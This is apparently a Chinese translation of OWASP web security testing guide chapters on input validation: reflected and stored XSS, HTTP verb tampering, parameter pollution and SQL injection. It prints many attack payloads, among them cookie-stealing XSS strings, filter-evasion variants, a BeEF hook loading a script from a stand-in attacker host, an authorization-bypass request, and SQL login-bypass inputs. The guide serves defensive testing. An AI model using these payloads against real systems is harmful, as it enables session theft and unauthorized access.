第8讲 输入验证类测试

绝大多少Web 应用的安全缺陷在于没有正确的进行输入验证，输入不仅来自于客户端的用户，也来自于某些环境变量。这一问题导致了很多严重的web安全漏洞，例如XSS，SQLIs，解析器注入，locale/unicode攻击，文件系统攻击，缓冲区溢出攻击等等。

从客户端或外部实体输入的数据从不应该被信任，其中很可能包括攻击者篡改后的攻击载荷。“All input is Evil”，这是第一条规则。不幸的是，很多复杂应用经常有大量的入口点，使得开发人员很难遵守这一规则。本章节描述了数据验证类测试，旨在测试所有可能的输入表单，确定应用是否有足够的输入验证安全机制。

主要测试分类有：

- 反射型跨站脚本测试 Testing for Reflected Cross Site Scripting
- 存储型跨站脚本测试 Testing for Stored Cross Site Scripting
- HTTP动词伪造测试 Testing for HTTP Verb Tampering
- HTTP参数污染测试 Testing for HTTP Parameter pollution
- SQL注入测试 Testing for SQL Injection
- LDAP注入测试 Testing for LDAP Injection
- XML注入测试 Testing for XML Injection
- WSTG-INPVAL-009 Testing for SSI Injection
- WSTG-INPVAL-010 Testing for XPath Injection
- WSTG-INPVAL-011 IMAP/SMTP Injection
- WSTG-INPVAL-012 Testing for Code Injection
- WSTG-INPVAL-013 Testing for Command Injection
- WSTG-INPVAL-014 Testing for Buffer overflow
- WSTG-INPVAL-015 Testing for incubated vulnerabilities
- WSTG-INPVAL-016 Testing for HTTP Splitting/Smuggling

反射型跨站脚本测试 Testing for Reflected Cross Site Scripting

ID:WSTG-INPV-01

摘要

当攻击者在单个HTTP响应中注入浏览器可执行代码时，就会发生反射跨站点脚本（Reflected XSS）。注入的攻击未存储在应用程序本身内；它是非持久性的，仅影响打开恶意链接或第三方网页的用户。攻击字符串包含在精心设计的URI或HTTP参数中，被应用程序错误处理，并返回给受害者。

反射XSS是最常见的XSS攻击类型，也称为非持久XSS攻击，由于攻击有效载荷是通过单个请求和响应传递和执行的，因此它们也称为一阶或类型1 XSS。

当Web应用程序受到此类攻击时，它将通过请求发送的未经验证的输入传递回客户端。攻击的常见方式包括：

- 设计阶段，攻击者创建并测试有问题的URI；
- 社会工程阶段，诱骗受害者将其URI加载到他们的浏览器上；
- 最终执行阶段，在受害者的浏览器上执行有问题的代码。

通常，攻击者的代码是用JavaScript语言编写的，但是也可以使用其他脚本语言，例如ActionScript和VBScript。攻击者通常利用这些漏洞来安装按键记录器，窃取受害者的Cookie，执行剪贴板盗窃以及更改页面内容（例如下载链接）。

防止XSS漏洞的主要困难之一是正确的字符编码。在某些情况下，Web服务器或Web应用程序可能无法过滤某些字符编码，因此，例如，Web应用程序可能会过滤掉 `<script>` ，但可能不会过滤 `%3cscript%3e` ，而仅包含标签的另一种编码。

测试方法

黑匣子测试

黑盒测试将至少包括三个阶段：

找出所有输入向量

检查每个页面的输入向量。测试人员必须确定web应用程序的所有用户输入/环境输入变量，以及如何输入。这包括隐藏的、不容易看见的输入，例如：HTTP参数、POST数据、隐藏表单字段、预定义键值等。通常可以使用浏览器的开发者工具和Web代理查看所有请求输入变量。

分析输入向量

分析每个输入向量，检查潜在的漏洞。为了检测XSS漏洞，测试人员可以将特定的输入数据与每个输入向量结合使用。这样的输入数据通常是无害的，但是浏览器会响应，从而表明有该漏洞。可以通过使用Web应用程序模拟器，读取攻击字符串字典或动态生成测试数据。例如：

- `<script>alert(123)</script>`
- `><script>alert(document.cookie)</script>`

有关潜在测试字符串的完整列表，可以参考https://owasp.org/www-community/xss-filter-evasion-cheatsheet

检查影响

对于上一阶段中尝试的每个测试输入，测试人员要分析结果并确定是否有实际的安全影响。这需要检查结果网页HTML并搜索输入。一旦找到，测试人员将识别出未正确编码，替换或过滤掉的任何特殊字符。易受攻击的未经过滤的特殊字符集将取决于HTML该部分的上下文。

理想情况下，所有HTML特殊字符都将替换为HTML实体。要识别的主要HTML实体是：

- `>` 大于
- `<` 小于
- `&`
- `'`
- `"`

HTML和XML规范定义的实体完整列表可以参考：https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references

在HTML动作或JavaScript代码的上下文中，将需要转义，编码，替换或过滤掉一组不同的特殊字符。这些字符包括：

- `\n`
- `\r`
- `'`
- `"`
- `\`
- `\uXXXX` unicode码值

更多的，可以参考Mozilla JavaScript guide

例子

例1

例如，考虑某个网站有个欢迎某用户的提示“ Welcome %username% ”和一个下载连接 `http://example.com/index.php?user=MrSmith` 。

测试人员有必要怀疑每个数据注入点可能产生XSS攻击。为了进行分析，测试人员将扮演用户，尝试发现漏洞。让我们点击下列链接，看看会发生什么。 `http://example.com/index.php?user=<script>alert(123)</script>` 。如果没有有效的防护，就会在页面上显示一个警告框，并写着123.这说明了有反射型XSS漏洞。

例2

让我们尝试另一段链接：

```
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://ba
```

这可能在浏览器端弹出一个链接，诱使用户点击并下载恶意的exe。

绕过XSS过滤

防护反射XSS攻击常通过web应用过滤用户输入的方法实现。web应用防火墙阻止恶意输入，或采用现代web浏览器的内嵌机制。测试人员必须假定浏览器无法过滤用户输入。新的攻击形式可能会绕过已有的防护手段。

开发人员在过滤/消除用户输出时，有几种手段，例如：返回错误页、删除输入、编码、替换无效输入等。这意味着Web应用检查和纠正无效输入这一功能，可能是一个新的安全隐患。黑名单不会包含所有的攻击字符串，而白名单可能过于保守，输入数据消毒可能失效。

XSS 过滤免杀cheat sheet文档列出了通常的免杀测试项。

例3：标签属性值

有些过滤基于黑名单，它们不能阻止所有表达式。事实上，有一些XSS渗透可以携带没有 `<>` 的脚本。例如某个网站使用用户输入填充一个属性： `<input type="text" name="state" value="INPUT_FROM_USER">` ，而攻击者可以提交类似代码： `" onfoucus="alert(document.cookie)` 。

例4：不同的语法和编码

在许多例子中，可能基于签名的过滤器能简单地检测的混淆攻击。你可以尝试插入不希望有语法或编码变化。如果有代码返回，说明浏览器容忍了这些变化，而且它们可能也能够被过滤器所接受。

例如：

```
"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
```

例5

假设开发人员使用下列代码保护输入：

```
<?
    $re = "/<script[^>]+src/i";

    if (preg_match($re, $_GET['var']))
    {
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>
```

正则表达式会检查 `<script [anything but the character: '>'] src` 是否被插入。可以过滤如下的xss： `<script src="http://attacker/xss.js"></script>` 。但是它可能会在使用">"时被绕过，例如： `http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>`

例7 HTTP 参数污染（HPP）

绕过检查的另一个方法是HTTP 参数污染。这种技术最新由Stefano di Paola和Luca Carettoni 在2009年的会议上提出。这种免杀技术由在有同样名称的多个参数间的分片攻击向量构成。操作方法依赖于浏览器如何解析这些参数。所以这类免杀不总是有效。如果测试环境将所有同名参数连接在一起，那么攻击者可能会使用此类技术绕过基于模式的安全机制。常规攻击如： `http://example/page.php?param=<script>[...]</script>` ，而使用 HPP的攻击为: `http://example/page.php?param=<script&param=>[...]</&param=script>` 。

灰盒测试

类似于黑盒测试，但有了开发人员的帮助，可以查看源代码了解安全过滤机制。

工具

- PHP Charset Encoder(PCE) This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
- HackVertor It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
- XSS-Proxy XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
- ratproxy A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
- Burp Proxy Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
- OWASP Zed Attack Proxy (ZAP) ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

存储型跨站脚本测试 Testing for Stored Cross Site Scripting

ID : wstg-inpv-02

概述

存储型跨站点脚本（XSS）是最危险的XSS类型。允许用户存储数据的Web应用程序可能会遭受此类攻击。本节说明了存储型跨站点脚本注入和相关利用场景的示例。

当Web应用程序接收了用户输入的恶意内容，然后将该输入存储在数据存储中以备后用时，就会发生存储型XSS。恶意数据将看起来是正常网站的一部分，用户浏览时会在浏览器中运行。由于此漏洞通常涉及对应用程序的至少两个请求，因此也可以称为二阶XSS。

此漏洞可用于进行多种基于浏览器的攻击，包括：

- 劫持其他用户的浏览器
- 捕获应用程序用户查看的敏感信息
- 伪装应用程序
- 内部主机的端口扫描（相对于Web应用程序用户的“内部”）
- 定向传递基于浏览器的漏洞
- 其他恶意活动

存储的XSS不需要恶意链接即可被利用。当用户访问带有存储的XSS的页面时，将成功利用漏洞。以下阶段与典型的存储XSS攻击情形有关：

- 攻击者将恶意代码存储到易受攻击的页面中
- 用户在应用程序中进行身份验证
- 用户访问易受攻击的页面
- 用户的浏览器执行恶意代码

也可以使用浏览器渗透框架（例如BeEF和XSS Proxy）来利用这种攻击。这些框架允许进行复杂的JavaScript开发。

在较高特权用户可以访问的应用程序区域中，存储型XSS尤其危险。管理员访问这类XSS所在页面时，其浏览器会自动执行攻击。这可能会暴露敏感信息，例如会话授权令牌。

测试方法

黑匣子测试

标识存储的XSS漏洞的过程类似于测试反射的XSS时描述的过程。

输入表单

第一步是识别出所有能将用户输入存储到后端并由应用程序显示的“入口点”。可以在以下位置找到存储的用户输入的典型示例：

- 用户/个人资料页面：该应用程序允许用户编辑/更改个人资料详细信息，例如名字，姓氏，昵称，头像，图片，地址等。
- 购物车：该应用程序允许用户将商品存储到购物车中，然后可以稍后对其进行检查
- 文件管理器：允许上传文件的应用程序
- 应用程序设置/首选项：允许用户设置首选项的应用程序
- 论坛/留言板：允许用户之间交换帖子的应用程序
- 博客：博客应用程序是否允许用户提交评论
- 日志：如果应用程序将一些用户输入存储到日志中。

分析HTML代码

应用程序存储的输入通常在HTML标记中使用，但也可能在 JavaScript中找到。在此阶段，最基本的是了解是否存储了输入以及如何在页面上下文中放置输入。与反射型XSS不同，渗透测试人员还要考虑通过带外渠道接收和存储的用户输入。

注意：管理员可访问的所有应用程序区域都要被测试，排除一切可能发送存储型XSS的隐患。

示例：通过电子邮件将数据存储在index2.php中.

index2.php中的代码：

```
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
```

测试人员要尝试将代码注入 标签外部的方法例

如： `<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />`

尝试建立存储型XSS

注入示例：

```
aaa@aa.com”><script>alert(document.cookie)</script>

aaa@aa.com&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;

aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
```

上面的注入将导致一个包含cookie值的弹出窗口。要确保输入是通过应用程序提交的。如果客户端设置了安全控制，则可能会禁用JavaScript或使用Web代理修改HTTP请求。还要注意，分别使用HTTP GET和POST请求进行测试。

使用BeEF进行存储XSS攻击

通过高级Javascript渗透框架BeEF和XSS代理可以进行存储型XSS攻击。

典型的BeEF渗透场景包括：

- 用户准备浏览具有XSS漏洞的网页
- 利用Web应用程序中的XSS 漏洞来注入Javascript钩子。即诱骗用户在其浏览器中执行含有类似 `<script src=http://attackersite/hook.js></script>` 的语句。该hook.js负责获取当前浏览器信息，并与攻击者BeEF通信
- 通过BeEF控制台获取信息或利用漏洞控制用户浏览器

示例：在index2.php中的BeEF注入： `aaa@aa.com"><script src=http://attackersite/hook.js></script>`

当用户加载页面index2.php时，脚本hook.js由浏览器执行，然后可以访问cookie，用户屏幕截图、用户剪贴板，并发起复杂的XSS攻击。

上传文件

如果Web应用程序允许文件上传，则要检查是否可以上传HTML内容。例如，如果允许HTML或TXT文件，则可以将XSS载荷注入上载的文件中。渗透测试器还应该验证文件上传是否允许设置任意MIME类型。

考虑以下用于文件上传的HTTP POST请求：

```
POST /fileupload.aspx HTTP/1.1
[…]

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test
```

此设计缺陷可以在浏览器MIME错误处理攻击中加以利用。例如，看起来无害的文件（例如JPG和GIF）可以包含XSS有效负载，该有效负载在由浏览器加载时执行。当可以将图像的MIME类型（例如image / gif）设置为text / html时，这是可能的。在这种情况下，客户端浏览器会将文件视为HTML。

考虑如下的伪造的HTTP POST请求：

```
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>
```

注意，Internet Explorer不能以与Mozilla Firefox或其他浏览器相同的方式处理MIME类型。例如，Internet Explorer将含有HTML的TXT处理为HTML。有关MIME处理的更多信息，请参阅本章底部的白皮书部分。

灰盒测试

灰盒测试与黑盒测试类似。渗透测试人员可以通过与开发人员沟通了解用户输入、输入验证控制、数据存储等更多信息。

推荐测试人员检查用户输入如何被web应用所处理，以及它们被如何存储。推荐下列步骤：

- 使用前端应用，使用特殊字符或无效字符进行输入；
- 分析应用响应
- 识别输入验证控制以及效果
- 访问后端系统并检查输入是否被存储，以及如何存储
- 分析源代码，理解如何处理要存储的输入

如果源代码可以查看，所有在输入表单中使用的变量都需要被分析。特别是，诸如PHP，ASP和JSP之类的编程语言会使用预定义的变量/函数来存储来自HTTP GET和POST请求的输入。

下表总结了分析源代码时要查看的一些特殊变量和函数：

PHP	ASP	JSP
$_GET - HTTP GET variables	Request.QueryString - HTTP GET	doGet, doPost servlets - HTTP GET and POST

PHP	ASP	JSP
$_POST - HTTP POST variables	Request.Form - HTTP POST	request.getParameter - HTTP GET/POST variables
$_REQUEST – HTTP POST, GET and COOKIE variables	Server.CreateObject - used to upload files	
$_FILES - HTTP File Upload variables		

注意，上面仅列出了比较常见的参数，实际测试中要检查所有参数。

工具

- PHP Charset Encoder(PCE) PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.
- Hackvertor Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).
- BeEF BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.
- XSS-Proxy XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
- Burp Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
- XSS Assistant Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.
- OWASP Zed Attack Proxy (ZAP) ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

OWASP Resources
XSS Filter Evasion Cheat Sheet

HTTP动词伪造测试 Testing for HTTP Verb Tampering

ID : WSTG-INPV-03

概述

HTTP动词伪造测试的含义是测试Web应用程序对不同HTTP方法请求的响应。对于测试过程中发现的每个可访问对象，测试人员应该使用各种HTTP 方法访问对象。

HTTP 1.1 规范定义了如下HTTP方法或动词：

- OPTIONS
- GET
- HEAD
- POST
- PUT
- DELETE
- TRACE
- CONNECT

如果使用了WebDAV（Web分布式创作与版本）规范，那么WebDAV扩展允许多种其它的HTTP方法：

- PROPFIND
- PROPPATCH
- MKCOL
- COPY
- MOVE
- LOCK
- UNLOCK

现实中大多数应用只考虑GET和POST方法，对于其它方法不做特殊处理。默认的HTTP服务器可能存在某种漏洞，使攻击者利用不同于GET和POST方法的方法时可以绕过专为GET或POST方法的安全控制。

注意，HTML标准不支持除GET和POST以外的方法，其它方法不能与HTML文档中调用；但是JavaScript和ajax可以使用其它方法。

如果待测试的web应用没有专门处理任何非标准的http方法，http动词篡改测试比较简单，只要web服务器接受了GET和POST请求之外的其它方法，就可以断言该服务器存在动词篡改接受的问题。解决方法是禁用web应用服务器内或web防火墙上所有的非GET 或 POST功能。

如果您的应用程序需要诸如HEAD或OPTIONS之类的方法，则将大大增加测试的负担。系统中的每个动作都需要进行验证，以确保这些替代方法不会在没有适当身份验证的情况下触发动作，也不会显示有关内容或工作Web应用程序的信息。如果可能，将替代HTTP方法的使用限制为一个不包含用户操作的页面，例如默认的登录页面（例如：index.html）。

测试方法

由于HTML标准不支持GET或POST以外的请求方法，因此我们将需要制作自定义HTTP请求以测试其他方法。

手动HTTP动词篡改

下面使用netcat工具发出自定义的http请求：

首先要准备好要发送的HTTP请求。每个HTTP1.1请求都遵循以下基本格式，方括号括起来的元素与应用程序相关，最后还需要一个空行。

```
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]
```

为了生成单独的请求，您可以手动将每个请求键入netcat或telnet并检查响应。但是，为了加快测试速度，您还可以将每个请求存储在单独的文件中。我们将在这些示例中演示第二种方法。使用您喜欢的编辑器为每种方法创建一个文本文件。修改您的应用程序的登录页面和域。

- OPTIONS

```
OPTIONS /index.html HTTP/1.1
host: www.example.com
```

- GET

```
GET /index.html HTTP/1.1
host: www.example.com
```

- HEAD

```
HEAD /index.html HTTP/1.1
host: www.example.com
```

- POST

```
POST /index.html HTTP/1.1
host: www.example.com
```

- PUT

```
PUT /index.html HTTP/1.1
host: www.example.com
```

- DELETE

```
DELETE /index.html HTTP/1.1
host: www.example.com
```

- TRACE

```
TRACE /index.html HTTP/1.1
host: www.example.com
```

- CONNECT

```
CONNECT /index.html HTTP/1.1
host: www.example.com
```

第二步，使用nc命令发送请求。下面使用nc将上述文本或文件发到目标的80端口。

```
nc www.example.com 80 < OPTION.http.txt
```

第三步，分析HTTP响应。尽管每个HTTP方法都可能返回不同的结果，但是除GET和POST之外，有一个有效的结果，那么就表明未能通过测试（测试失败），因为服务器正在响应不必要的方法/动词。这些方法应禁用。

自动化的HTTP动词篡改测试

如果您能够通过简单的HTTP状态代码（200 OK，501错误等）分析应用程序，那么以下bash脚本将测试所有可用的HTTP方法。

```
# !/bin/bash
<p class="mume-header " id="binbash"></p>


for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;

do
    printf "$webservmethod " ;
    printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"

done
```

将上述代码保存到文件 `web_server_methods_discovery` 中，然后使用下列命令分析某个web服务器：

```
./web_server_methods_discovery 172.18.122.221
```

参考

https://web.archive.org/web/20081116154150/http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf

HTTP参数污染测试 Testing for HTTP Parameter pollution

ID:wstg-inpv-04

摘要

本测试旨在检查Web应用程序对接收到多个具有相同名称的HTTP参数后的响应；例如，如果该username参数两次包含在GET或POST参数中。

提供多个具有相同名称的HTTP参数可能会使应用程序以无法预期的方式解释值。通过利用这些影响，攻击者可能能够绕过输入验证，触发应用程序错误或修改内部变量值。由于HTTP参数污染（简称HPP）影响所有Web技术的构建块，因此存在服务器和客户端攻击。

当前的HTTP标准不包括有关如何解释具有相同名称的多个输入参数的指南。例如，RFC 3986仅将术语“ 查询字符串”定义为一系列字段值对，而RFC 2396则定义了反向和未保留的查询字符串字符的类。没有适当的标准，Web应用程序组件会以多种方式处理这种情况（有关详细信息，请参见下表）。

就其本身而言，这不一定表示存在漏洞。但是如果开发人员不知道该问题，则重复的参数的存在可能会在应用程序中产生异常行为，攻击者可能会利用该异常行为。意外行为是漏洞的常见来源，在这种情况下，漏洞可能导致HTTP参数污染攻击。为了更好地介绍此类漏洞和HPP攻击的结果，分析过去发现的一些实际示例很有趣。

输入验证和过滤器绕过

在2009年，关于HTTP参数污染的第一项研究发表后，该技术立即受到安全界的关注，成为绕过Web应用程序防火墙的一种可能方法。

这些缺陷之一（影响ModSecurity SQL注入核心规则）代表了应用程序和过滤器之间的阻抗不匹配的完美示例。ModSecurity过滤器将正确地将以下字符串黑名单：select 1,2,3 from table，从而阻止此示例URL被Web服务器处理： `/index.aspx?page=select 1,2,3 from table` 。但是，通过利用多个HTTP参数拼

接，攻击者可以在ModSecurity筛选器已接受输入之后，使应用服务器将字符串拼接起来。例如， `/index.aspx?page=select 1&page=2,3` 表中的URL不会触发ModSecurity筛选器，但是应用程序层会将输入重新组合为完整的恶意字符串。

另一个HPP漏洞示例会影响Apple Cups。Apple Cups是许多UNIX系统使用的打印系统。利用HPP，攻击者可以使用以下URL轻松触发Cross-Site Scripting漏洞： `http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos` 。通过添加kerberos具有有效字符串（例如，空字符串）的额外参数，可以绕过应用程序验证检查点。由于验证检查点将仅考虑第二次出现，因此kerberos在用于生成动态HTML内容之前，未对第一个参数进行适当的清理。成功的利用将导致在托管网站的上下文中执行JavaScript代码。

身份验证绕过

在流行的博客平台Blogger中发现了一个甚至更为严重的HPP漏洞。该错误允许恶意用户通过使用以下HTTP请求来获取受害者博客的所有权：

```
POST /add-authors.do HTTP/1.1

security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com(attacker email)&ok=Invite
```

这个请求中含有两个blogID，安全机制应该检查这两个或判定这样的请求无效，但事实上身份验证只检查了第二个。

应用程序服务器的预期行为

下表说明了在多次出现相同的HTTP参数的情况下，不同的web技术的行为。

假设URL和查询字符串为： `http://example.com/?color=red&color=blue`

Web Application Server Backend	Parsing Result	Example
ASP.NET / IIS	所有同名值使用逗号拼接	color=red,blue
ASP / IIS	所有同名值使用逗号拼接	color=red,blue
PHP / Apache	仅保存最后一个值	color=blue
PHP / Zeus	仅保存最后一个值	color=blue
JSP, Servlet / Apache Tomcat	仅保存第一个值	color=red
JSP, Servlet / Oracle Application Server 10g	仅保存第一个值	color=red
JSP, Servlet / Jetty	仅保存第一个值	color=red
IBM Lotus Domino	仅保存最后一个值	color=blue
IBM HTTP Server	仅保存第一个值	color=red
mod_perl, libapreq2 / Apache	仅保存第一个值	color=red
Perl CGI / Apache	仅保存第一个值	color=red
mod_wsgi (Python) / Apache	仅保存第一个值	color=red
Python / Zope	所有同名值会被组织为一个列表	color=['red','blue']

测试方法

幸运的是，因为HTTP参数的分配通常是通过Web应用程序服务器而不是应用程序代码本身进行的，所以测试参数污染的响应应该在所有页面和操作中都是标准的。但是，由于需要深入的业务逻辑知识，因此测试HPP需要手动测试。自动工具只能部分地帮助测试人员，因为它们往往会产生过多的误报。另外，HPP可以在客户端和服务器端组件中出现。

服务器端的HPP

为了测试HPP漏洞，首先要找出所有用户可输入的表单或action。GET请求中的查询字符串参数，容易在地址栏中进行修改。如果在POST中通过表单中提交，测试人员需要使用代理拦截并修改。修改时，要对所有参数进行HPP测试。例如如果 `search_string` 参数为： `http://example.com/?search_string=kittens` ，或者 `http://example.com/?mode=guest&search_string=kittens&num_results=100`

测试方法相同，如下：编辑该url为 `http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies` ，然后提交。分析响应页面以确定web服务器如何解析同名的参数值。由于服务器负责解析，所以web应用的不同页面得到的结果可能类似。

测试通过的原则是：如果已有的输入验证和其它安全机制已经足够，并且服务器仅接收第一个或最后一个被污染的参数，则通常不会存在漏洞。如果同名的参数值被接收后被拼接或组成列表，就有可能形成漏洞。更深入的分析是为每个HTTP参数发送3个HTTP请求：

- 第1个请求，提交包含标准参数名成和值的HTTP请求，并记录HTTP响应，例如：`page?par1=val1`
- 第2个请求，将参数值替换为篡改的值，提交并记录HTTP响应，例如：`page?par1=HPP_TEST1`
- 第3个请求，在请求中同时给出1和2中的参数与值，例如 `page?par1=val1&par1=HPP_TEST1`
- 比较之前所有步骤中获得的响应。如果第3个请求的响应不同于第1个请求和第2个请求的响应，则存在HPP漏洞。

客户端HPP

与服务器端HPP相似，手动测试是审核Web应用程序以检测影响客户端组件的参数污染漏洞的唯一可靠技术。在服务器端变体中，攻击者利用易受攻击的Web应用程序访问受保护的数据或执行不允许或不应该执行的操作，而客户端攻击旨在破坏客户端组件和技术。

要测试HPP客户端漏洞，首先要找出所有用户可输入的表单或action。例如web应用中的搜索页面是理想的选择，而登录页可能不太理想，因为它可能不会向用户显示无效结果。

与服务器端HPP相似，使用 `%26HPP_TEST` 污染每个HTTP参数并查找用户提供的有效负载的url解码：

- `&HPP_TEST`
- `&HPP_TEST`
- 其它形式

特别要注意的是包含了data，src，href等属性或表单action的HPP向量的响应。同样，此默认行为是否揭示了潜在的漏洞，取决于特定的输入验证，过滤和应用程序业务逻辑。此外，重要的是要注意，此漏洞也可能影响XMLHttpRequest（XHR），运行时属性创建和其他插件技术（例如Adobe Flash的flashvars变量）中使用的查询字符串参数。

工具

owasp zap

SQL注入测试 Testing for SQL Injection

ID:WSTG-INPV-05

概述

如果应用程序使用用户输入来创建SQL查询，而不进行适当的输入验证，就有可能形成sql注入漏洞。成功利用此类漏洞允许未经授权的用户访问或操纵数据库中的数据。

SQL注入攻击可以分为以下三类：

- 带内：使用与注入SQL代码相同的通道提取数据。这是最直接的一种攻击，其中检索到的数据直接显示在应用程序网页中。
- 带外：使用不同的渠道检索数据（例如，生成包含查询结果的电子邮件并将其发送到测试人员）。
- 推理或盲目：没有实际的数据传输，但是测试人员可以通过发送特定请求并观察DB Server的最终行为来重建信息。

成功的SQL注入攻击需要攻击者精心设计语法正确的SQL查询。如果应用程序返回由错误查询生成的错误消息，则攻击者可能更容易重构原始查询的逻辑，因此，了解如何正确执行注入。但是，如果应用程序隐藏了错误详细信息，则测试人员必须能够对原始查询的逻辑进行反向工程。

关于利用SQL注入漏洞的技术，有五种常见技术。这些技术有时也可以组合使用（例如，联合运算符和带外）：

- union 运算符：当SELECT语句中发生SQL注入漏洞时可以使用它，从而可以将两个查询合并为一个结果或结果集。
- Boolean：使用布尔值条件来验证某些条件为真还是假。
- Error based：此技术会强制数据库生成错误，从而向攻击者或测试者提供信息以完善他们的注入。
- Out-of-band：用于使用其他通道检索数据的技术（例如，进行HTTP连接以将结果发送到Web服务器）。
- Time delay：使用数据库命令（例如睡眠）来延迟条件查询中的答案。当攻击者无法从应用程序中获得某种答案（结果，输出或错误）时，此功能很有用。

测试目标

sql注入测试主要目标是识别和利用与查询输入有关的漏洞，，这些问题未正确实施安全实践。

测试方法

检测技术

第一步是了解应用程序何时与DB server进行交互和访问数据。应用程序与数据库对话的典型示例包括：

- 身份验证表单
- 搜索
- 电子商务网站

测试人员必须列出所有输入字段的列表（包括POST请求的隐藏字段），这些输入字段的值可用于编制SQL查询，然后分别对其进行测试，以免干扰查询并产生错误。还请考虑HTTP标头和Cookies。

最开始的测试通常是在要测试的字段或参数上添加单引号'或分号;。第一个在SQL中用作字符串终止符，如果不被应用程序过滤，将导致错误的查询。第二个用于结束SQL语句，如果不对其进行过滤，它也可能会产生错误。易受攻击字段的输出可能类似于以下内容（在这种情况下，在Microsoft SQL Server上）：

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
```

还可以使用注释定界符（-或/* */等）和其他SQL关键字（例如“ AND”和“ OR”）来尝试修改查询。一种非常简单但有时仍然有效的技术是简单地在期望数字的位置插入字符串，因为可能会产生如下错误：

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
```

检查所有来自web服务器的响应，同时查看HTML/JavaScript 源代码。有时错误会藏在这些代码中，但不显露给用户。完整的错误信息会提供给测试人员注入参考信息。但是应用很多时候不会提供太多细节。这意味着我们需要使用盲注技术。在任何情况下，单独测试每个字段是非常重要的，即每一步测试中仅修改一个变量值，这样可以精确的理解某个参数是否存在注入漏洞。

标准SQL 注入测试

经典SQL注入

考虑下列sql查询： `SELECT * FROM Users WHERE Username='$username' AND Password='$password'`

这类查询通常用于认证用户。用户输入通常通过表单进行提交，假设我们插入如下的用户名和密码：
`$username=1' or '1'='1` 和 `$password=1' or '1'='1`

查询将为： `SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'`

如果我们假设参数值经过GET方法送到服务器，而且问题网站的域名是www.example.com，那么执行的请求如下： `http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1`

简单分析可知，查询将返回一个/组值，因为条件总是为True。这样，系统就在不知道用户名和密码的情况下对用户进行了身份验证。

> 不少系统的第一个用户是系统管理员。而在某些情况下，这可能是返回的配置文件。

另一个查询例子： `SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))`

在这种情况下，存在两个问题，一个是由于使用括号引起的，另一个是由于使用MD5哈希函数引起的。首先，我们解决了括号问题。这仅包括添加多个右括号，直到获得正确的查询。为了解决第二个问题，我们试图逃避第二个条件。我们在查询中添加了最后一个符号，这样该符号后的所有内容均视为注释。每个DBMS都有自己的注释语法，但是，大多数数据库的通用符号是星号 *。在Oracle中，符号为--。也就是说，我们将用作用户名和密码的值为： `$username = 1' or '1' = '1'))/*` 和 `$password = foo`

这样，我们将获得以下查询：
`SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))`

由于在$ username值中包含了注释定界符，因此查询的密码部分将被忽略。

URL请求将为：
`http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo`

